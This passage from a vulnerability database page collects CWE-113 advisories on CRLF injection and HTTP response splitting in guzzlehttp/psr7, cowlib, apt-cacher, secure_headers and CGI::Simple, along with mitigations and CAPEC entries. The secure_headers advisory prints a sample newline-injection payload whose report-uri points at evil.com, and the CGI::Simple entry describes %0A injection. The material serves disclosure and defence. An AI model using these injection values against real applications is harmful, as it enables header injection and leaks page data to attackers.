Creating or modifying a Request, Response, or other PSR-7 object alone is not sufficient. The issue requires the malformed message to be serialized and written to the network, forwarded, replayed, or otherwise processed by software that does not independently reject the malformed start line. This is not the normal request-sending path used by guzzlehttp/guzzle; applications using guzzlehttp/psr7 only through Guzzle's standard HTTP client APIs are not expected to be affected.

Applications are most likely to be affected when they manually serialize PSR-7 messages, forward raw HTTP messages, or use custom transports, proxying, crawling, webhook delivery, testing, or similar code. Depending on how downstream HTTP/1.1 components parse the serialized message, this may lead to header injection, response splitting, request smuggling, or cache poisoning.

Patches

The issue is patched in 2.12.1 and later. Starting in that release, guzzlehttp/psr7 rejects CR/LF characters in HTTP method, protocol version, and response reason phrase values before storing them in first-party message objects.

Workarounds

If you cannot upgrade immediately, reject CR/LF in untrusted method, protocol version, and reason phrase values before constructing or modifying PSR-7 messages.

Applications that parse, forward, replay, or serialize raw HTTP messages cannot work around the parser entry points by validating only after parsing. They should validate the raw start line before calling Message::parseRequest() or Message::parseResponse(), avoid reparsing untrusted raw messages, or upgrade. If an application runs with attacker-controlled synthetic $_SERVER values, validate REQUEST_METHOD and SERVER_PROTOCOL before calling ServerRequest::fromGlobals().

Severity

4.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "guzzlehttp/psr7"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T14:35:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n`guzzlehttp/psr7` did not reject CR/LF characters in certain first-party HTTP start-line fields: the request method, protocol version, and response reason phrase. If an application placed attacker-controlled data into one of those fields and later serialized the PSR-7 message as raw HTTP/1.x, for example with `Message::toString()` or an equivalent serializer, the serialized message could contain attacker-controlled header lines. The issue can also be reached through `Message::parseRequest()` or `Message::parseResponse()` when malformed raw messages are parsed into first-party PSR-7 objects and then serialized again.\n\nCreating or modifying a `Request`, `Response`, or other PSR-7 object alone is not sufficient. The issue requires the malformed message to be serialized and written to the network, forwarded, replayed, or otherwise processed by software that does not independently reject the malformed start line. This is not the normal request-sending path used by `guzzlehttp/guzzle`; applications using `guzzlehttp/psr7` only through Guzzle\u0027s standard HTTP client APIs are not expected to be affected.\n\nApplications are most likely to be affected when they manually serialize PSR-7 messages, forward raw HTTP messages, or use custom transports, proxying, crawling, webhook delivery, testing, or similar code. Depending on how downstream HTTP/1.1 components parse the serialized message, this may lead to header injection, response splitting, request smuggling, or cache poisoning.\n\n### Patches\n\nThe issue is patched in `2.12.1` and later. Starting in that release, `guzzlehttp/psr7` rejects CR/LF characters in HTTP method, protocol version, and response reason phrase values before storing them in first-party message objects.\n\n### Workarounds\n\nIf you cannot upgrade immediately, reject CR/LF in untrusted method, protocol version, and reason phrase values before constructing or modifying PSR-7 messages.\n\nApplications that parse, forward, replay, or serialize raw HTTP messages cannot work around the parser entry points by validating only after parsing. They should validate the raw start line before calling `Message::parseRequest()` or `Message::parseResponse()`, avoid reparsing untrusted raw messages, or upgrade. If an application runs with attacker-controlled synthetic `$_SERVER` values, validate `REQUEST_METHOD` and `SERVER_PROTOCOL` before calling `ServerRequest::fromGlobals()`.",
  "id": "GHSA-vm85-hxw5-5432",
  "modified": "2026-06-19T14:35:57Z",
  "published": "2026-06-19T14:35:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/psr7/security/advisories/GHSA-vm85-hxw5-5432"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/guzzle/psr7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "guzzlehttp/psr7: CRLF Injection in HTTP Start-Line Serialization"
}

GHSA-W4F7-4CXR-RV3C

Vulnerability from github – Published: 2026-06-08 18:31 – Updated: 2026-07-29 15:48

Summary

cowboy and gun affected by an HTTP Request/Response Splitting vulnerability

Details

Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') vulnerability in ninenines cowlib allows HTTP response splitting via non-VCHAR bytes in structured-fields string values.

cow_http_struct_hd:escape_string/2 in cowlib only escapes \ and ", passing all other bytes through verbatim. This creates an encoder/decoder asymmetry: the matching parser accepts only printable ASCII (0x20–0x7E, excluding " and ), but the encoder emits any byte including CR and LF. An application that builds a structured HTTP header via cow_http_struct_hd:item/1 (or a higher-level wrapper such as cow_http_hd:wt_protocol/1) from attacker-controlled input can have \r\n injected into the serialized header value. Once on the wire, the injected CRLF terminates the current header and any following bytes are interpreted as a new header, enabling HTTP response splitting.

This issue affects cowlib from 2.9.0.

Severity

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "cowboy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2.4.0"
      },
      "package": {
        "ecosystem": "Hex",
        "name": "gun"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43966"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T15:48:39Z",
    "nvd_published_at": "2026-06-08T17:16:43Z",
    "severity": "MODERATE"
  },
  "details": "Improper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Request/Response Splitting\u0027) vulnerability in ninenines cowlib allows HTTP response splitting via non-VCHAR bytes in structured-fields string values.\n\ncow_http_struct_hd:escape_string/2 in cowlib only escapes \\ and \", passing all other bytes through verbatim. This creates an encoder/decoder asymmetry: the matching parser accepts only printable ASCII (0x20\u20130x7E, excluding \" and \\), but the encoder emits any byte including CR and LF. An application that builds a structured HTTP header via cow_http_struct_hd:item/1 (or a higher-level wrapper such as cow_http_hd:wt_protocol/1) from attacker-controlled input can have \\r\\n injected into the serialized header value. Once on the wire, the injected CRLF terminates the current header and any following bytes are interpreted as a new header, enabling HTTP response splitting.\n\nThis issue affects cowlib from 2.9.0.",
  "id": "GHSA-w4f7-4cxr-rv3c",
  "modified": "2026-07-29T15:48:39Z",
  "published": "2026-06-08T18:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43966"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ninenines/cowlib/pull/163#issuecomment-4952645232"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ninenines/cowlib/pull/166#issuecomment-5067554701"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ninenines/cowboy/commit/f77cb9b5e730e300fffb551db1ba5d1c4ed878ef"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ninenines/gun/commit/4f35609eb37109b106a863fc9ba83d7ee64e3e42"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-43966.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ninenines/cowlib"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-43966"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "cowboy and gun affected by an HTTP Request/Response Splitting vulnerability"
}

GHSA-W6GH-25J9-8FM4

Vulnerability from github – Published: 2022-05-17 02:50 – Updated: 2022-05-17 02:50

Details

apt-cacher before 1.7.15 and apt-cacher-ng before 3.4 allow HTTP response splitting via encoded newline characters, related to lack of blocking for the %0[ad] regular expression.

Severity

6.1 (Medium)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2017-7443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-05T20:59:00Z",
    "severity": "MODERATE"
  },
  "details": "apt-cacher before 1.7.15 and apt-cacher-ng before 3.4 allow HTTP response splitting via encoded newline characters, related to lack of blocking for the %0[ad] regular expression.",
  "id": "GHSA-w6gh-25j9-8fm4",
  "modified": "2022-05-17T02:50:38Z",
  "published": "2022-05-17T02:50:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7443"
    },
    {
      "type": "WEB",
      "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=858739"
    },
    {
      "type": "WEB",
      "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=858833"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W978-RMPF-QMWG

Vulnerability from github – Published: 2020-01-23 02:27 – Updated: 2023-05-16 16:11

Summary

Limited header injection when using dynamic overrides with user input in RubyGems secure_headers

Details

Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`

would result in

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header

Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

Workarounds

override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])

References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c The effect of multiple policies

For more information

If you have any questions or comments about this advisory: * Open an issue in this repo * DM us at @ndm on twitter

Severity

4.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "secure_headers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "secure_headers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "secure_headers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-5216"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-01-23T02:27:18Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nIf user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.\n\ne.g.\n\n```ruby\noverride_content_security_directives(script_src: [\u0027mycdn.com\u0027, \"\\ninjected\\n\"])` \n```\n\nwould result in \n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```ruby\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src \u0027none\u0027; report-uri evil.com\"]) \n```\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src \u0027none\u0027; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\n### Patches\n\nThis has been fixed in 6.3.0, 5.2.0, and 3.9.0\n\n### Workarounds\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```\n\n### References\n\nhttps://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c\n[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)\n* DM us at @ndm on twitter",
  "id": "GHSA-w978-rmpf-qmwg",
  "modified": "2023-05-16T16:11:19Z",
  "published": "2020-01-23T02:27:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5216"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/twitter/secure_headers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Limited header injection when using dynamic overrides with user input in RubyGems secure_headers"
}

GHSA-WH29-FQ99-4WW5

Vulnerability from github – Published: 2025-08-29 03:30 – Updated: 2025-08-29 15:30

Details

CGI::Simple versions before 1.282 for Perl has a HTTP response splitting flaw This vulnerability is a confirmed HTTP response splitting flaw in CGI::Simple that allows HTTP response header injection, which can be used for reflected XSS or open redirect under certain conditions.

Although some validation exists, it can be bypassed using URL-encoded values, allowing an attacker to inject untrusted content into the response via query parameters.

As a result, an attacker can inject a line break (e.g. %0A) into the parameter value, causing the server to split the HTTP response and inject arbitrary headers or even an HTML/JavaScript body, leading to reflected cross-site scripting (XSS), open redirect or other attacks.

The issue documented in CVE-2010-4410 https://www.cve.org/CVERecord?id=CVE-2010-4410 is related but the fix was incomplete.

Impact

By injecting %0A (newline) into a query string parameter, an attacker can:

Break the current HTTP header
Inject a new header or entire body
Deliver a script payload that is reflected in the server’s response That can lead to the following attacks:
reflected XSS
open redirect
cache poisoning
header manipulation

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

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{
  "affected": [],
  "aliases": [
    "CVE-2025-40927"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-29T01:15:34Z",
    "severity": "HIGH"
  },
  "details": "CGI::Simple versions before 1.282 for Perl has a HTTP response splitting flaw\nThis vulnerability is a confirmed HTTP response splitting\u00a0flaw in CGI::Simple\u00a0that allows HTTP response header injection, which can be used for reflected XSS or open redirect under certain conditions.\n\nAlthough some validation exists, it can be bypassed using URL-encoded values, allowing an attacker to inject untrusted content into the response via query parameters.\n\n\n\nAs a result, an attacker can inject a line break (e.g. %0A) into the parameter value, causing the server to split the HTTP response and inject arbitrary headers or even an HTML/JavaScript body, leading to reflected cross-site scripting (XSS), open redirect or other attacks.\n\nThe issue documented in CVE-2010-4410 https://www.cve.org/CVERecord?id=CVE-2010-4410 is related but the fix was incomplete.\n\nImpact\n\nBy injecting %0A\u00a0(newline) into a query string parameter, an attacker can:\n\n  *  Break the current HTTP header\n  *  Inject a new header or entire body\n  *  Deliver a script payload that is reflected in the server\u2019s response\nThat can lead to the following attacks:\n\n  *  reflected XSS\n  *  open redirect\n  *  cache poisoning\n  *  header manipulation",
  "id": "GHSA-wh29-fq99-4ww5",
  "modified": "2025-08-29T15:30:38Z",
  "published": "2025-08-29T03:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40927"
    },
    {
      "type": "WEB",
      "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2320"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc7230#section-3"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/MANWAR/CGI-Simple-1.281/diff/MANWAR/CGI-Simple-1.282/lib/CGI/Simple.pm"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/MANWAR/CGI-Simple-1.281/source/lib/CGI/Simple.pm#L1031-1035"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-community/attacks/HTTP_Response_Splitting"
    },
    {
      "type": "WEB",
      "url": "https://rt.perl.org/Public/Bug/Display.html?id=21951"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation

Implementation

Strategy: Input Validation

Construct HTTP headers very carefully, avoiding the use of non-validated input data.

Mitigation MIT-5

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. If an input does not strictly conform to specifications, reject it or transform it into something that conforms.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Mitigation MIT-30

Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Mitigation MIT-20

Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

CAPEC-105: HTTP Request Splitting

An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to split a single HTTP request into multiple unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).

See CanPrecede relationships for possible consequences.

CAPEC-31: Accessing/Intercepting/Modifying HTTP Cookies

This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. There are several different forms of this attack. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the adversary to impersonate the remote user/session. The third form is when the cookie's content is modified by the adversary before it is sent back to the server. Here the adversary seeks to convince the target server to operate on this falsified information.

CAPEC-34: HTTP Response Splitting

An adversary manipulates and injects malicious content, in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., web server) or into an already spoofed HTTP response from an adversary controlled domain/site.

See CanPrecede relationships for possible consequences.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.

← Back to the CWE list

CWE-113

Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')

Summary

Impact

Affected

Mitigations / Workarounds

Vulnerable code

Reachable

Proof of concept

End-to-end reproduction against secure_headers 7.2.0

Patch

Credit

Resources

Impact

Patches

Workarounds

Impact

Patches

Workarounds

References

For more information

Mitigation

Mitigation MIT-5

Mitigation MIT-30

Mitigation MIT-20

CAPEC-105: HTTP Request Splitting

CAPEC-31: Accessing/Intercepting/Modifying HTTP Cookies

CAPEC-34: HTTP Response Splitting

CAPEC-85: AJAX Footprinting

End-to-end reproduction against `secure_headers 7.2.0`